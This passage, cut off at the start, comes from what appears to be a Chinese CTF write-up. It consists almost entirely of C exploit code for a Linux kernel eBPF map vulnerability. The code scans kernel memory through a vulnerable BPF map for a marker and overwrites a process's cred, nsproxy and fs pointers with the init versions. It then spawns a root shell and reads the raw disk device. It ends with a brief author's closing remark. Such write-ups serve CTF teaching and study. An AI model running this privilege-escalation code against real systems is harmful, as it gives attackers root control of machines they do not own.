for (int i = 0; i < 0x1000*0x1000 && !stop; i++){
memset(outbuf, 0, 0x100);
if (bpf_lookup_elem(vuln_fd, &i, &outbuf) < 0){
error_quit("Failed to get elem");
}
for(int j = 0; j < 0x100; j+=8){
if (memcmp(&outbuf[j], "0rb1t123", 8) == 0){
cred = *(uint64_t*)&outbuf[j-0x10];
cred = cred == 0 ? *(uint64_t*)&outbuf[j-0x8] : cred;
nsproxy = *(uint64_t*)&outbuf[j+0x58];
printf("cred: %p nsproxy: %p\n", cred, nsproxy);
if (cred != 0 && nsproxy != 0){
*(uint64_t*)&outbuf[j-0x10] = init_cred;
*(uint64_t*)&outbuf[j+0x58] = init_nsproxy;
*(uint64_t*)&outbuf[j+0x40] = init_fs;
puts("Find it.");
if (bpf_update_elem(vuln_fd, &i, &outbuf, 0) < 0){
error_quit("Failed to get elem");
}
puts("Success change the cred and nsproxy");
stop = 1;
break;
}
}
}
}
write(1, "ROOOOOOOOOOOT\n", 14);
spawn_root_shell(processes);
}

int main(){
save_user_land();
exploit();
if (getuid() != 0){
puts("Not root.");
exit(1);
}
char buf[0x100] = {0};
int fd = open("/dev/vda", O_RDONLY);
if (fd < 0){
puts("File open error.");
exit(1);
}
read(fd, buf, 0x100);
write(1, buf, 0x100);
}

写在最后

希望明年能给大家带来些好玩的,想出 fullchain😋